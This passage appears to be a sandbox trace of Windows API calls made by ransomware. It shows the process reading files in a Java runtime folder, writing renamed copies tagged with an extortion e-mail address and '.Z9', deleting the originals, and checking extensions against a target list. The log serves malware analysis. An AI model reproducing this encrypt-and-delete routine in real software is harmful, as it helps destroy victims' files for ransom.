	[0164.892] ReadFile (in: hFile=0x470, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.892] WriteFile (in: hFile=0x474, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0xf4, lpOverlapped=0x0) returned 1
	[0164.892] SetEndOfFile (hFile=0x474) returned 1
	[0164.892] CloseHandle (hObject=0x474) returned 1
	[0164.893] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.893] SetEndOfFile (hFile=0x470) returned 1
	[0164.896] CloseHandle (hObject=0x470) returned 1
	[0164.896] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0164.897] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar")) returned 1
	[0164.897] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64
	[0164.897] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64
	[0164.897] lstrlenW (lpString=".doc") returned 4
	[0164.897] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0164.897] lstrlenW (lpString=".docx") returned 5
	[0164.897] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1
	[0164.897] lstrlenW (lpString=".pdf") returned 4
	[0164.897] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0164.897] lstrlenW (lpString=".xls") returned 4
	[0164.897] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0164.898] lstrlenW (lpString=".xlsx") returned 5
	[0164.898] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1
	[0164.898] lstrlenW (lpString=".ppt") returned 4
	[0164.898] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0164.898] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64
	[0164.898] lstrlenW (lpString=".zip") returned 4
	[0164.898] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0164.898] lstrlenW (lpString=".rar") returned 4
	[0164.898] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0164.898] lstrlenW (lpString=".bz2") returned 4
	[0164.898] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0164.898] lstrlenW (lpString=".7z") returned 3
	[0164.898] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0164.898] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64
	[0164.898] lstrlenW (lpString=".dbf") returned 4
	[0164.898] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0164.898] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64
	[0164.898] lstrlenW (lpString=".1cd") returned 4
	[0164.898] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0164.898] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64
	[0164.898] lstrlenW (lpString=".jpg") returned 4
	[0164.898] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0164.898] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64
	[0164.898] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64
	[0164.898] lstrlenW (lpString=".doc") returned 4
	[0164.898] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0164.898] lstrlenW (lpString=".docx") returned 5
	[0164.898] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1
	[0164.898] lstrlenW (lpString=".pdf") returned 4
	[0164.898] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0164.898] lstrlenW (lpString=".xls") returned 4
	[0164.898] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0164.898] lstrlenW (lpString=".xlsx") returned 5
	[0164.898] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1
	[0164.899] lstrlenW (lpString=".ppt") returned 4
	[0164.899] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0164.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64
	[0164.899] lstrlenW (lpString=".zip") returned 4
	[0164.899] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0164.899] lstrlenW (lpString=".rar") returned 4
	[0164.899] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0164.899] lstrlenW (lpString=".bz2") returned 4
	[0164.899] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0164.899] lstrlenW (lpString=".7z") returned 3
	[0164.899] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0164.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64
	[0164.899] lstrlenW (lpString=".dbf") returned 4
	[0164.899] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0164.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64
	[0164.899] lstrlenW (lpString=".1cd") returned 4
	[0164.899] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0164.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64
	[0164.899] lstrlenW (lpString=".jpg") returned 4
	[0164.899] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0164.899] lstrcmpiW (lpString1=".libraries", lpString2=".Z9") returned -1
	[0164.899] lstrlenW (lpString="trusted.libraries") returned 17
	[0164.899] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\trusted.libraries"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470
	[0164.901] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=0) returned 1
	[0164.901] CloseHandle (hObject=0x470) returned 1
	[0164.901] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65
	[0164.901] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65
	[0164.901] lstrlenW (lpString=".doc") returned 4
	[0164.901] lstrcmpiW (lpString1=".doc", lpString2="ries") returned -1
	[0164.901] lstrlenW (lpString=".docx") returned 5
	[0164.901] lstrcmpiW (lpString1=".docx", lpString2="aries") returned -1
	[0164.901] lstrlenW (lpString=".pdf") returned 4
	[0164.901] lstrcmpiW (lpString1=".pdf", lpString2="ries") returned -1
	[0164.901] lstrlenW (lpString=".xls") returned 4
	[0164.901] lstrcmpiW (lpString1=".xls", lpString2="ries") returned -1
	[0164.901] lstrlenW (lpString=".xlsx") returned 5
	[0164.901] lstrcmpiW (lpString1=".xlsx", lpString2="aries") returned -1
	[0164.901] lstrlenW (lpString=".ppt") returned 4
	[0164.901] lstrcmpiW (lpString1=".ppt", lpString2="ries") returned -1
	[0164.901] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65
	[0164.902] lstrlenW (lpString=".zip") returned 4
	[0164.902] lstrcmpiW (lpString1=".zip", lpString2="ries") returned -1
	[0164.902] lstrlenW (lpString=".rar") returned 4
	[0164.902] lstrcmpiW (lpString1=".rar", lpString2="ries") returned -1
	[0164.902] lstrlenW (lpString=".bz2") returned 4
	[0164.902] lstrcmpiW (lpString1=".bz2", lpString2="ries") returned -1
	[0164.902] lstrlenW (lpString=".7z") returned 3
	[0164.902] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0164.902] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65
	[0164.902] lstrlenW (lpString=".dbf") returned 4
	[0164.902] lstrcmpiW (lpString1=".dbf", lpString2="ries") returned -1
	[0164.902] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65
	[0164.902] lstrlenW (lpString=".1cd") returned 4
	[0164.902] lstrcmpiW (lpString1=".1cd", lpString2="ries") returned -1
	[0164.902] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65
	[0164.902] lstrlenW (lpString=".jpg") returned 4
	[0164.902] lstrcmpiW (lpString1=".jpg", lpString2="ries") returned -1
	[0164.902] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65
	[0164.902] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65
	[0164.902] lstrlenW (lpString=".doc") returned 4
	[0164.902] lstrcmpiW (lpString1=".doc", lpString2="ries") returned -1
	[0164.902] lstrlenW (lpString=".docx") returned 5
	[0164.902] lstrcmpiW (lpString1=".docx", lpString2="aries") returned -1
	[0164.902] lstrlenW (lpString=".pdf") returned 4
	[0164.902] lstrcmpiW (lpString1=".pdf", lpString2="ries") returned -1
	[0164.902] lstrlenW (lpString=".xls") returned 4
	[0164.902] lstrcmpiW (lpString1=".xls", lpString2="ries") returned -1
	[0164.902] lstrlenW (lpString=".xlsx") returned 5
	[0164.902] lstrcmpiW (lpString1=".xlsx", lpString2="aries") returned -1
	[0164.903] lstrlenW (lpString=".ppt") returned 4
	[0164.903] lstrcmpiW (lpString1=".ppt", lpString2="ries") returned -1
	[0164.903] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65
	[0164.903] lstrlenW (lpString=".zip") returned 4
	[0164.903] lstrcmpiW (lpString1=".zip", lpString2="ries") returned -1
	[0164.903] lstrlenW (lpString=".rar") returned 4
	[0164.903] lstrcmpiW (lpString1=".rar", lpString2="ries") returned -1
	[0164.903] lstrlenW (lpString=".bz2") returned 4
	[0164.903] lstrcmpiW (lpString1=".bz2", lpString2="ries") returned -1
	[0164.903] lstrlenW (lpString=".7z") returned 3
	[0164.903] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0164.903] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65
	[0164.903] lstrlenW (lpString=".dbf") returned 4
	[0164.903] lstrcmpiW (lpString1=".dbf", lpString2="ries") returned -1
	[0164.903] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65
	[0164.903] lstrlenW (lpString=".1cd") returned 4
	[0164.903] lstrcmpiW (lpString1=".1cd", lpString2="ries") returned -1
	[0164.903] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65
	[0164.903] lstrlenW (lpString=".jpg") returned 4
	[0164.903] lstrcmpiW (lpString1=".jpg", lpString2="ries") returned -1
	[0164.903] lstrcmpiW (lpString1=".jar", lpString2=".Z9") returned -1
	[0164.903] lstrlenW (lpString="US_export_policy.jar") returned 20
	[0164.903] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470
	[0164.904] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=3026) returned 1
	[0164.904] CloseHandle (hObject=0x470) returned 1
	[0164.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar")) returned 0x20
	[0164.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0164.904] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470
	[0164.905] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.905] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.905] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474
	[0164.905] GetLastError () returned 0x0
	[0164.905] ReadFile (in: hFile=0x470, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0xbd2, lpOverlapped=0x0) returned 1
	[0164.908] WriteFile (in: hFile=0x474, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0xbe0, lpOverlapped=0x0) returned 1
	[0164.909] ReadFile (in: hFile=0x470, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.909] WriteFile (in: hFile=0x474, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0xfc, lpOverlapped=0x0) returned 1
	[0164.909] SetEndOfFile (hFile=0x474) returned 1
	[0164.909] CloseHandle (hObject=0x474) returned 1
	[0164.909] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.909] SetEndOfFile (hFile=0x470) returned 1
	[0164.912] CloseHandle (hObject=0x470) returned 1
	[0164.912] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0164.915] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar")) returned 1
	[0164.916] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68
	[0164.916] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68
	[0164.916] lstrlenW (lpString=".doc") returned 4
	[0164.916] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0164.916] lstrlenW (lpString=".docx") returned 5
	[0164.916] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1
	[0164.916] lstrlenW (lpString=".pdf") returned 4
	[0164.916] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0164.916] lstrlenW (lpString=".xls") returned 4
	[0164.916] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0164.916] lstrlenW (lpString=".xlsx") returned 5
	[0164.916] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1
	[0164.916] lstrlenW (lpString=".ppt") returned 4
	[0164.916] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0164.916] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68
	[0164.916] lstrlenW (lpString=".zip") returned 4
	[0164.916] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0164.916] lstrlenW (lpString=".rar") returned 4
	[0164.916] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0164.916] lstrlenW (lpString=".bz2") returned 4
	[0164.916] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0164.916] lstrlenW (lpString=".7z") returned 3
	[0164.916] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0164.916] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68
	[0164.916] lstrlenW (lpString=".dbf") returned 4
	[0164.916] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0164.916] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68
	[0164.916] lstrlenW (lpString=".1cd") returned 4
	[0164.916] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0164.916] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68
	[0164.917] lstrlenW (lpString=".jpg") returned 4
	[0164.917] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0164.917] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68
	[0164.917] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68
	[0164.917] lstrlenW (lpString=".doc") returned 4
	[0164.917] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0164.917] lstrlenW (lpString=".docx") returned 5
	[0164.917] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1
	[0164.917] lstrlenW (lpString=".pdf") returned 4
	[0164.917] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0164.917] lstrlenW (lpString=".xls") returned 4
	[0164.917] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0164.917] lstrlenW (lpString=".xlsx") returned 5
	[0164.917] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1
	[0164.917] lstrlenW (lpString=".ppt") returned 4
	[0164.917] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0164.917] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68
	[0164.917] lstrlenW (lpString=".zip") returned 4
	[0164.917] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0164.917] lstrlenW (lpString=".rar") returned 4
	[0164.917] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0164.917] lstrlenW (lpString=".bz2") returned 4
	[0164.917] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0164.917] lstrlenW (lpString=".7z") returned 3
	[0164.917] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0164.917] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68
	[0164.917] lstrlenW (lpString=".dbf") returned 4
	[0164.917] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0164.917] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68
	[0164.917] lstrlenW (lpString=".1cd") returned 4
	[0164.917] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0164.917] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68
	[0164.917] lstrlenW (lpString=".jpg") returned 4
	[0164.917] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0164.918] lstrcmpiW (lpString1=".properties", lpString2=".Z9") returned -1
	[0164.918] lstrlenW (lpString="sound.properties") returned 16
	[0164.918] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470
	[0164.918] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=1210) returned 1
	[0164.918] CloseHandle (hObject=0x470) returned 1
	[0164.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties")) returned 0x20
	[0164.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0164.919] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470
	[0164.919] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.919] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.919] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474
	[0164.920] GetLastError () returned 0x0
	[0164.920] ReadFile (in: hFile=0x470, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x4ba, lpOverlapped=0x0) returned 1
	[0165.044] WriteFile (in: hFile=0x474, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x4c0, lpOverlapped=0x0) returned 1
	[0165.048] ReadFile (in: hFile=0x470, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.048] WriteFile (in: hFile=0x474, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0xf4, lpOverlapped=0x0) returned 1
	[0165.048] SetEndOfFile (hFile=0x474) returned 1
	[0165.048] CloseHandle (hObject=0x474) returned 1
	[0165.048] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.048] SetEndOfFile (hFile=0x470) returned 1
	[0165.171] CloseHandle (hObject=0x470) returned 1
	[0165.172] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0165.237] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties")) returned 1
	[0165.348] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55
	[0165.348] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55
	[0165.348] lstrlenW (lpString=".doc") returned 4
	[0165.348] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0165.348] lstrlenW (lpString=".docx") returned 5
	[0165.348] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0165.348] lstrlenW (lpString=".pdf") returned 4
	[0165.348] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0165.348] lstrlenW (lpString=".xls") returned 4
	[0165.348] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0165.349] lstrlenW (lpString=".xlsx") returned 5
	[0165.349] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0165.349] lstrlenW (lpString=".ppt") returned 4
	[0165.349] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0165.349] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55
	[0165.349] lstrlenW (lpString=".zip") returned 4
	[0165.349] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0165.349] lstrlenW (lpString=".rar") returned 4
	[0165.349] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0165.349] lstrlenW (lpString=".bz2") returned 4
	[0165.349] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0165.349] lstrlenW (lpString=".7z") returned 3
	[0165.349] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0165.349] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55
	[0165.349] lstrlenW (lpString=".dbf") returned 4
	[0165.349] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0165.349] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55
	[0165.349] lstrlenW (lpString=".1cd") returned 4
	[0165.349] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0165.349] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55
	[0165.349] lstrlenW (lpString=".jpg") returned 4
	[0165.349] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0165.349] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55
	[0165.349] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55
	[0165.349] lstrlenW (lpString=".doc") returned 4
	[0165.349] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0165.349] lstrlenW (lpString=".docx") returned 5
	[0165.349] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0165.350] lstrlenW (lpString=".pdf") returned 4
	[0165.350] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0165.350] lstrlenW (lpString=".xls") returned 4
	[0165.350] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0165.350] lstrlenW (lpString=".xlsx") returned 5
	[0165.350] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0165.350] lstrlenW (lpString=".ppt") returned 4
	[0165.350] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0165.350] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55
	[0165.350] lstrlenW (lpString=".zip") returned 4
